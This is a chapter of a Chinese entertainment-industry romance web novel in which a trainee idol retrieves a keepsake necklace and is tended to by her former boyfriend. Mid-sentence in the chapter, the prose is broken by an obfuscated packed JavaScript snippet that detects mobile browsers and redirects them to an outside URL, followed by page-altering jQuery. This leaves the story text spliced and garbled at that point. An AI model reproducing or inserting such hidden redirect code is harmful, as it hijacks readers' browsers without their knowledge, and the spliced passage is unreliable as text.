20. 贪恋此刻
作品:《热恋轨迹[娱乐圈]》 在知道项链丢了的这个瞬间,沈亦凝心脏上方像悬着一颗大石头,摇摇欲坠。
辛德瑞拉弄丢了水晶鞋,而沈亦凝遗失了项链。
因为水晶鞋,辛德瑞拉和王子产生了交集,但沈亦凝却不想因为项链再和祁致扯上什么关系。
更不愿意因为这条项链引发不必要的其它事端。
但现在总不可能直接转身跑回训练大楼,因为还得参加前采,也不知道录完前采之后,时间还够不够她跑回去寻找项链。
完蛋了,她想。
沈亦凝现在的状态就好像是在梦游。
准确点儿来说,更像是一只提线木偶,只有躯体在动,而灵魂早就不知道飘向何方。
提线木偶双眼空洞地晃出电梯,再晃进采访室。
脚步都有些控制不住地悬浮。
对面坐着工作人员,他们脸上带着礼貌的笑容,但是沈亦凝却十分清楚,他们是表里不一的恶魔。
聚光灯照在她的脸上,镜头聚焦着她。
前采录制开始了。
恶魔们毫不掩饰地露出獠牙:“准备好了吗?”
提线木偶心不在焉道,“嗯。”
其实她压根不在状态。
工作人员开始放大招,每个问题都问得十分刁钻。
明明沈亦凝昨天晚上已经提前做了攻略,但是现在登场之后却发现用不上。
就像是每次大考之前认真复习,结果上了考场才突然发现,题型变了,所有的必胜攻略也已经全部派不上用场,且大脑变得空空如也。
即使是学神也会遇到不会的题目。
这场考试她注定是考不好了。
因为紧张,再加上心里在想着项链的事情,沈亦凝对工作人员的这种刻意艰难压根没有任何办法,全程都只是十分机械性回答问题。
前采表现得一塌糊涂,终于在工作人员不怀好意的表情里结束了录制,沈亦凝这只提线木偶又心事重重地晃出了采访室。
接触到外边的新鲜空气,她才缓缓地回过神来,不再是提线木偶,却变成了接受指令的机器人。
她现在满脑子只剩下一个想法,躯体也只被同一条指令所控制,那就是——抓紧时间,跑去训练大楼,找回项链。
沈亦凝抬手看了眼手表。
时间应该还来得及。
她走出录制室之后,便开始了狂奔,跑进电梯间,再迅速穿过宣传大楼大厅,直接冲出门口。
路上遇到几个刚结束前采的练习生,看到像风一样飞过去的沈亦凝,面面相觑,也下意识跟着跑了一段路,嘴里念叨着,“现在已经开始录制了?怎么这么着急!”
练习生们边跑便看表,确认时间还充足,慢慢走过去参与录制也都还来得及,所以她究竟在跑什么?
不得而知。
而她们也并不知道,沈亦凝的心里此时此刻有个小人正在狂呼:辛德瑞拉啊!请你跑快点,一定要守住水晶鞋的秘密!!
然而在奔向项链的路上,撞上了刚挂好所有海报准备收工,正抬着工具走向宣传大楼的工人。
两拨人在一个视线拐角处相撞,虽然都紧急避让了一下,但是工具的角还是不可避免地擦过沈亦凝的手臂。
擦伤也就是一瞬间的事情。
沈亦凝的左手手臂处火辣辣地疼,低头一看伤口,肿了一块,有地方还破皮流血了,甚至比起几天前在机场的时候受伤的十倍还要更加严重。
“……”
她今天绝对是衰神附体了吧?
工人们看到她身上穿的衣服,认出她是训练生,又瞥见她手臂上的伤口,下意识倒吸一口凉气,疯狂道歉,“真是不好意思,对不起啊,我们……”
拐角是个视线盲区,谁知道会突然出现一个人。
更何况真要细究起来,这场意外纯粹是因为刚才她超速了。
沈亦凝捂了一下手臂,“没事的没事的,是我没注意。”
“有点破皮流血了,要不要处理一下……唉,姑娘,你怎么跑了?”
意外受了伤,但是她顾及不了这么多,直接转身拔腿就跑。
伤口是有些青紫和流血。
但是也真的没有这么严重。
如果今天没有项链这件事情的话,估计沈亦凝会选择用碘伏清理一下伤口,但是现在没必要,也没这个时间。
伤口总会愈合的。
但是项链这事儿不能拖延。
她肯定是要在祁致看到之前把项链给找回来的,否则她该如何解释当初已经被她狠心丢下人工湖的项链,现在还在她身上,且这么多年她还贴身戴着?
无论祁致究竟有没有放下过去两人的那段感情,她都不愿意让祁致知道这件事情。
又或者说,连她自己都不愿意去承认和面对这个事实——这么多年了,她还放不下他。
当年是她先毅然决然地选择了分手。
先选择放手的人没有资格后悔怀念。
更重要的是,都已经过去这么多年了,还怀念过去,本来就是一件离谱的事情。
若是对方早就已经放下了这段青涩的感情,唯独她这个先提出分开的人还总在默默怀念过去,偏偏仍嘴硬不承认,还被发现,那这简直就更丢脸了。
这也是沈亦凝着急跑回去寻找项链的原因。
毕竟面、子、大、于、天!
***
沈亦凝拼命狂奔,原先需要十分钟的路程,现在她只用一半时间便走到了目的地。
好在此时的训练大楼里现在没什么人,冷冷清清。
毕竟《破茧出道营》是一款唱跳舞台竞技类节目,主要镜头聚焦的地方是在舞台上表演的时候。
没有多少人在意人后有多努力,观众并不在乎过程,只在乎表演的最终结果。
于是训练大楼里并没有多少摄像头,也极少有工作人员出没,至于练习生们……她们都赶往直播录制场地了,谁会没事儿来这?
也就只有沈亦凝会在这个时间点跑来这里了。
沈亦凝一鼓作气直接跑上六楼,边跑边吐槽,这么大个节目组这么大个公司,居然连个电梯都不舍得安装。这也太抠门了吧?
好不容易跑上六楼,她双手撑膝大口大口地喘气,缓了一会儿才慢慢往声乐室走过去。
好在早上吃了一个三明治,否则她觉得自己可能会原地晕倒。
毕竟这运动量实在是太大了,更别说前一天晚上她还熬了一整个通宵。
沈亦凝快步走到声乐室,发现门没开。
她动手使劲拉了一下窗户。
开了。
心头的大石头松动了一瞬。
沈亦凝探头探脑往里边瞧,就像是一个偷偷摸摸的小贼。
她目光迅速搜索,像雷达一般。找寻了好一会儿,终于锁定桌角旁的那根银色项链。
项链在同个位置,在暗处泛着冷光。
而那张纸条还压在项链下边。
没人动过。
项链还在,秘密也还在。
桌子距离窗台有点儿远,也不知道伸手能不能够得到,窗户没有安装防盗网,沈亦凝犹豫了一会儿,还是没选择爬窗进去。
她只是单纯想拿回自己的东西罢了,若是爬窗进去,估计就真成小贼了。
沈亦凝把袖子撸上去,摩拳擦掌,侧侧半个身子进窗户,用力伸手去够,还差一点,再差一点,最后再差一点……
她顿时有些着急。
时间在极速流逝,她不可能把所有时间耗在这里,毕竟还得抓紧时间去录制,如果十分钟拿不到项链,那她也必须离开这儿赶往录制场地。
今天是直播。
她耽搁不了一点的。
但此时拿到项链的难度堪比拼多多砍一刀。
明明近在咫尺,却又遥不可及。
在沈亦凝的脑海里浮现出“要不还是爬窗”吧的可怕念头时,一抹干净的雪松香伴随着清晰的脚步声逐渐靠近她。
认出一个人,可以通过声音、相貌、气味。
也可以是单纯依靠脚步声。
每个人的脚步声是不一样的。
沈亦凝不用回头,也能听出脚步声究竟来自何人,就像读书时对班主任脚步声的敏锐,她对祁致的脚步声也十分熟悉。
祁致的脚步声像倒计时的秒针,像是强迫症一般,稳健且很有规律,一步一步地踩着她的心跳声而来。
她背对着脚步声的主人,心脏处的那颗大石头极速悬停,变成了一颗随时会爆炸的定时炸弹。
祁致站在她身后,目睹了她此时滑稽的姿势,有些疑惑地开口问了一句,“你在干什么?”
他的音色极其容易辨认,像春雪初融时渗入青石板的细流,但此时于沈亦凝而言,却无异于是恶魔在低吼。
定时炸弹“叮”地一声,开始了爆炸倒计时。
沈亦凝无语地闭眼两秒,为自己默哀。
世界之大,不应该如此巧合。
她怎么来拿个项链都能够碰上当事人。
老天爷,你是故意整我的吧?
下次出门也许她要查黄历,像现在这个情况,估计就属于“大凶,忌出行”,纯粹属于下下签。
沈亦凝没有回头,只是保持在窗台处,半个人快要钻进里头的姿势,更用力地去够那条项链。
这个姿势绝对算不上优雅,甚至可能还有点儿滑稽,像一只红鼻子小丑,整个人的身体歪歪扭扭、形象全无。
但是她现在实在是顾及不了这么多。
是在此时当一只行为滑稽的小丑,还是等秘密被曝光时当一只"ClownEmperor”或者是“JokerKing”?
她自然选择前者,宁愿让祁致觉得她是个行为猥琐的人,也不愿意把项链的秘密让他知道。
此时沈亦凝脑海里脑补了一个小剧场:
「祁致比她先行一步拿到项链,他蓦然把手掌悬在她头顶上方,手指松开,掌心向下。
项链勾在他的中指,悬下来,在她面前晃来晃去,接着是他似笑非笑地表情:
“你在找它吗?我怎么记得你当初把它丢进了湖里。”
“分开这么多年,你还留着它,难不成还喜欢我?”
“原来你还对我念念不忘啊?”
他嘲讽一笑,转身把项链丢掉,说了一句和她当初一模一样的台词:“但我现在早就已经不喜欢你了。”」
脑补剧场到此为止。
沈亦凝汗毛竖立。
光是脑补都足以让人悬梁自尽的程度。
老娘的确对你余情未了,但是你没有资格知道!
还有“手到用时方恨短”,死手,你能不能争气一点儿,快点拿到项链啊!
沈亦凝一直背对着他,在伸手够什么东西,他主动问她什么却被视而不见。
祁致无奈地低叹一声。
当初被分手的人好像是他吧,再重逢时他都还没有冷脸,她却先摆出了一副要跟他老死不相往来的架势。
祁致掏出钥匙,上前两步,脚步停在门口,“你要拿东西?我给你开门。”
“别开门!”沈亦凝猛地回头,神色紧张地看了他一眼。
像是有魔力似的,祁致手里钥匙悬停在半空。
他保持着那个动作,疑惑地偏头看向她。
楼下香樟树的夏蝉在嘶鸣,骤起的风吹过来时,两人各怀心思。
沈亦凝的心里一直在记挂着里头的项链,而他的眼神晦暗,视线从她的脸上下移,落在了她的手臂上。
一秒、两秒、三秒……
祁致的视线就这么停在她的伤口处,像黏住了一样。她却没发现,还在用力去够。
终于在快要崩溃的边缘,成功的摸到了项链。
沈亦凝松了一口气。
定时炸弹的危机接触,辛德瑞拉的秘密被守住了。
沈亦凝握成拳,略带着凉意的项链被她紧握在了手心里,她直起身,抬手把凌乱的发丝拢在而后,顺带扯了扯衣服,把褶皱扯平,露出一个得体没有破绽的微笑,“真巧啊。”
她抬起脚步,故作镇定地朝他走过来两步,留下一句“我东西拿到了,再见”,而后目不斜视地从他身边走过。
擦身而过的瞬间,沈亦凝拳头握紧,掌心都似乎沁出了汗水。在她即将侧身离开的下一秒,却没想到祁致侧过身体,直接堵住了她离开的路。
耳畔回响着左心房传来异常澎湃的心跳声。
让她分不清楚是吊桥效应导致的心跳加速,还是由于祁致的突然靠近。熟悉浅淡的雪松香将她整个人包围,她下意识解释,只是嗓子突然变得有些哑:“我拿的是自己的东西……”
他关心的却并不是这个,只是侧过身体,打断她,“手给我。”
“什么?”她没反应过来。
祁致蓦然伸手,扣住了她的手腕,小心翼翼地翻过来,把伤口直接暴露出来,他紧盯着,像是在用目光一寸又一寸地抚摸她的骨骼。
他沉默了两秒问,“你的伤口怎么回事?”
祁致的手指很冰,握着她手腕的触感十分清晰,她能够十分清楚地感受到。于是控制不住心间一颤,愣了一下,而后抬头看着他。
对上他漆黑明亮的眼睛时,她在深邃的眼里看到了自己。
这让她产生了莫大的虚幻感,仿佛置身梦境,又像是重新回到了几年前首尔狭小的出租屋,曾经的日子像走马灯一样重现在脑海里。
他也曾像现在这样,用担心的语气和眼神,关心她的伤势。
可是那已经是以前,现在他为什么要这样做?
明明刚才在宣传大楼时,直接从她身边走过没有一点儿停留,现在却直接凑上来,不由分说地扯住她的手。
她不明白他的用意。
他到底什么意思?
沈亦凝感觉自己的心里有一只不听话的野兽在四处乱撞。
祁致也并没想过自己竟然会如此不理智,来时他就想过远远看着她就好,助她且祝她在舞台上发光,而后独自退场离开。
不要靠近她也别让她觉得困扰和麻烦。
越在意,越克制。
但事实上,他明明已经在努力克制,却依旧压根没办法装作对她视而不见,甚至总控制不住自己硬凑上去。
想陪在她身边,想关心她。
想告诉她,照顾好自己,还有……他这些年其实很想她。
就像现在,他控制不住自己做了个十分出格的举动,竟然直接拉住了她的手。
他觉得自己真是要疯了。
如果非要对他这个行为做出一个合理的解释,大概是因为沈亦凝于他而言,就像是尼古丁。只要靠近她就忍不住分泌多巴胺,这是一种让人充满愉悦感且上瘾的物质。
她会让他上瘾,这毋庸置疑。
成瘾戒断反人性且痛苦,他十分享受靠近她时的愉悦过程。
上瘾这种事就像人明知抓挠伤口会阻挠它的愈合,但是碰到伤口发痒发痛时,很难有人能够抵抗住不去抓挠它。
明知道不对,明知道不能,但是还是控制不住去做,这就已经是上瘾的状态了。
祁致压根做不到彻底跟沈亦凝划清界限,即使知道不能靠近她,但是他还是这么做了。
吉皋其实昨晚有质疑过他,“祁致,你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159552|163232||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说得倒好,说的是只在暗地里陪着她,但是你能保证可以控制住不去找她?我觉得你压根做不到,你做不到的。”
他还说。
——你只是在为了自己接近她找了个合理的借口罢了。
——你明知道她不会和你复合,她心底还不定还有你的位置。
——过度接近她只会让她觉得困扰,让她觉得你威胁到她的事业,然后再让自己伤心一次。
祁致闭眼两秒。
当局者迷旁观者清,吉皋毕竟已经是他这么多年的好朋友,十分了解他,也果然一语成谶,他的确做不到。
其实道理他都懂。
但是多巴胺对大脑的诱惑真的难以抵挡。
喜欢一个人就会产生欲望,欲望裹挟着他,让他做出这种不算理智的行为。
可伤口实在是太痒了,他忍不住了,于是只能无数次对自己说,他就挠一回,就挠这一回。
他已经控制不住上瘾了,那就最后放肆这一次。
他就只放肆这一次。
放纵上瘾,靠近她。
祁致深呼吸,睁开眼,握着她手腕的手并没有松开,而是耐心又问了一遍,“你手臂的伤这么严重,在哪里弄的?”
是熟稔、温和、带着关切的语气。
沈亦凝的双眼蓦然起了一层清雾。
她突然觉得有点委屈,她突然想跟他叽里呱啦说一堆,就像从前一样,说清楚自己是怎么受伤的,而后撒娇说伤口其实真的很疼。
但理智战胜了突如其来的感情。
她最终还是没有情绪失控,眼底的请雾渐渐消散,视线由模糊重新变得清明起来。
人不能两次踏入同一条河流。
当一个人第二次踏入同一条河流时,河流已经不是原来的河流了,因为水在流动,时间在流逝,人也在改变。
物是人非。
即使此时此刻跟从前的某些Moment再相像,那也不再是从前。
祁致也已经不是以前那个百分百喜欢她的人,也许此时此刻他是真的在关心她手臂的伤,但那终究是不一样的。
沈亦凝不敢相信他还对她余情未了,更倾向于这只是他作为一个成年人对前任体面的关怀。
祁致,这么多年过去,你对我的喜欢究竟还剩下多少?估计能做到关心我的伤,就已经是喜欢的全部了吧。
即使分手之后,再次相遇也能够体面关心对方,能做至此,也仅限于此。
沈亦凝咬着下嘴唇,借着他关切的语气回忆起从前。理智告诉她现在她应该转身就走,别留恋别牵扯别抱有期待。
但双腿像灌入了水泥,她发现自己有点儿贪恋这一刻。
如果上天在此时给她一个选择超能力的机会,那她肯定会选择时间静止,就静止在这一刻。
不用考虑未来,不用考虑流言蜚语。
只要跟他待着就好。
祁致的眼神像一片深邃不见底的深海,而她此时就像一条岸上的鱼,渴望、迫切接近他。
哪怕可能会溺毙在这片海域里。
她的脑海里似乎听到有仙女教母在跟她说,“你可以一直留在这,直到午夜钟声敲响时。”
人都有欲望,她此时此刻贪心一点也未免不可以吧?
现在距离正式直播录制还有点时间。
虽然不多,也就几分钟。
但几分钟就好。
她就只贪恋这一会儿。
在无人知晓的时刻,悄悄靠近他一点儿。她只放纵几分钟。
沈亦凝不敢直视他的眼睛,只有抬头盯着他眼尾处那颗浅色的痣,微颤动着的纤长睫毛,轻声回答,“工具箱碰到的。”
“什么时候?”
“就在刚才,在宣传大楼门口。”
“我记得刚才在宣传大楼碰见你的时候还没受伤。”
“那时候你都没看我一眼。”
“你又知道我没注意到?”祁致说,“那里很多摄像头又有外人,总不能像现在这样。”
“像现在哪样?”
他没回答。
但沈亦凝好像听到笑声,也好像没有,但是一抬头,根本看不出他笑过的痕迹,只是眉目舒展着,嘴角轻扬。
祁致松开她的手,晃了晃手里的钥匙,“我记得声乐室好像有药膏,我给你拿一瓶。”
“你还在声乐室里放这个?”
“习惯了。”
说这话的时候,他偏头看向她,有点儿认真的语气。
沈亦凝瞬间懂了,偏过头去,不打算背这个锅。
她总受伤,又是易淤青体质,三天两头皮肤红肿又带青紫。她也不是那种很会照顾自己的人,药膏什么的全是祁致帮着准备的。
祁致插进钥匙,拧开门。
沈亦凝跟在他身后,突然问道,“你怎么会突然回来这儿?”
“拿我的话筒。”
每个专业歌手一般都会有自己的专属话筒,祁致自然也不例外。
他的话筒颜色和应援色都是同一个色调,是如晴空初霁的天青蓝。
当年“日落线”商演结束,少年抱着电吉他,意气风发,下了场直奔她所在的方向,眼眸含笑地看着她,像一只要求表扬的小狗。
沈亦凝十分大方地夸赞了他,“表现得不错。”她又说,“你以后肯定能成为家喻户晓的大歌星。”
后来两人竟聊到了应援色。
沈亦凝转头就看到了他扬着眉,抿着唇看着她笑,少年背后是大片大片的蓝天白云,澄澈苍穹如海般蔓延。
是那样的惊艳。
他的气质和纯粹的蓝很相配。
她试探性说,“你觉得天青蓝怎么样?”
当时的她只是随口一说,却没想到,他真成了大歌星,也真的选择了这个颜色当应援色。
沈亦凝手指轻蜷,只觉得手掌心的项链存在感愈来愈强了。
她沉默地看着面前的祁致。
有这么一瞬间,她真的觉得两人好像回到了过去。
祁致此时蹲下身来开始翻找,找了一会儿没找到药膏放在哪儿,“估计在另一个箱子里。”
祁致正准备去拿另外一个箱子,“我在找一下。”
“好……”
沈亦凝手腕处的手表开始“滴滴”地响起声儿来,打破了两个人没能说完的话。
沈亦凝对时间管理十分敏感,这些年养成了个习惯,大事情必须要定个闹钟,以示提醒。
却没想到此时此刻在此时响了起来。
手表的响声似乎像是仙女教母明确警告:“魔法将在午夜钟声敲响时结束,请速速离开。”
午夜钟声响起,魔法消失,梦境结束。
辛德瑞拉,你该离开舞会了。
她也要将离开这儿。
他们都要开始回归现实了。
沈亦凝如梦初醒般,后退一步,态度明显比刚才冷了一些,“如果找不到就算了,我现在也不是很需要了。”
人一生做的选择大部分情况下都是被迫的,违逆本心的。他们不愿意这么做,但又不得不这么做。
她并不想离开,但是此时此刻她不得不这么做。
“我要走了。”她抿唇,又后退一步。
时间来不及了。
她是个过分理智的人,说完便利落地转身离开,刚才能放肆自己沉沦,但此时抽离得也很快。
祁致翻找的动作一停,冲她背影问道,“真的不需要了吗?”
一语双关。
沈亦凝脚步未停,“嗯,不需要了。”
不需要药膏了,当然不止是药膏。
都不要了。